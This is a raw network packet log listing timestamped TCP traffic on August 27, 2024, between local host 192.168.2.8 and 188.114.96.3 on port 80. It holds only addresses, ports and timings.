Aug 27, 2024 09:49:36.329610109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.329619884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.329628944 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.329639912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.329651117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.329658031 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.329669952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.329679966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.329682112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.329690933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.329716921 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.329740047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.413403988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.413423061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.413448095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.413460970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.413472891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.413486004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.413499117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.413511992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.413589001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.413625956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.413642883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.413655043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.413670063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.413682938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.413718939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.413731098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.413918018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.413918018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.413918018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.413918018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.414041996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414093971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414097071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.414107084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414144993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.414194107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414275885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414288044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414300919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414318085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414319992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.414338112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414340973 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.414350986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414381981 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.414382935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414395094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414431095 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.414516926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414529085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414541006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414554119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414570093 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.414571047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414580107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.414606094 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.414648056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414664030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414675951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414688110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414714098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.414729118 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.414859056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414870977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.414902925 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.414974928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415080070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415124893 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.415177107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415189028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415199995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415220976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.415293932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415306091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415335894 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.415426016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415438890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415452003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415466070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415478945 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.415482998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415496111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415504932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.415532112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.415559053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415574074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415585041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415596962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415608883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415652990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.415673971 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.415764093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415776968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415791988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415803909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415838003 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.415900946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415904045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.415914059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415958881 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.415983915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.415997028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416007996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416022062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416030884 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.416033030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416069031 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.416161060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416177034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416188002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416198969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416203976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.416232109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.416254044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416266918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416301012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.416506052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416524887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416538954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416551113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416563034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416563034 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.416583061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416584969 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.416596889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416609049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416615009 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.416620970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416635036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416640043 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.416673899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416687012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416707039 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.416728973 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.416743994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416755915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416765928 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416779041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416788101 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.416799068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.416850090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416862965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.416893959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.417587996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.417599916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.417618990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.417630911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.417649031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.417654037 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.417678118 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.417738914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.417742968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.417751074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.417763948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.417788982 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.417865992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.417884111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.417897940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.417911053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.417921066 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.417939901 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.417989016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.417999983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.418030977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.418060064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.418072939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.418097019 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.418379068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.418390989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.418401957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.418414116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.418427944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.418438911 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.418468952 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.418534994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.418714046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.418808937 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.418833017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.418844938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.418859005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.418884039 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.418958902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.418998957 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.502434969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.502475977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.502489090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.502573013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.502584934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.502597094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.502613068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.502625942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.502626896 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.502638102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.502654076 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.502686977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.502715111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.502816916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.502829075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.502840042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.502851963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.502862930 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.502866030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.502877951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.502887011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.502911091 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.503065109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503074884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503087997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503138065 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.503140926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503149033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503201008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503207922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503284931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503295898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503307104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503361940 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.503391981 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.503411055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503423929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503434896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503448963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503454924 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.503460884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503473997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503487110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503488064 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.503498077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503510952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503514051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.503524065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503536940 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.503551006 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.503663063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503674030 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503704071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.503724098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503763914 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.503793001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503803968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503815889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503828049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503840923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.503849030 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.503865004 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.503999949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504010916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504020929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504034042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504045963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504057884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504069090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504074097 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.504157066 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.504183054 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.504614115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504631996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504651070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504704952 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.504745007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504756927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504770994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504786015 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.504812956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.504899979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504911900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504924059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504935980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504946947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504957914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.504971981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505024910 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.505043983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505117893 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.505484104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505530119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505541086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505580902 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.505589008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505600929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505625010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505626917 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.505636930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505721092 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.505744934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505757093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505769014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505780935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505783081 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.505817890 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.505862951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505875111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505889893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505902052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.505901098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.505934000 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.506428957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.506480932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.506498098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.506505966 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.506536007 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.506582975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.506594896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.506604910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.506617069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.506628990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.506635904 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.506639957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.506652117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.506666899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.506701946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.506714106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.506721973 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.506726027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.506752014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.507221937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.507302046 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.507313967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.507324934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.507364035 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.507369041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.507379055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.507391930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.507402897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.507471085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.507489920 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.508312941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.508323908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.508336067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:36.508393049 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:36.508533001 CEST	80	49715	188.114.96.3	192.168.2.8
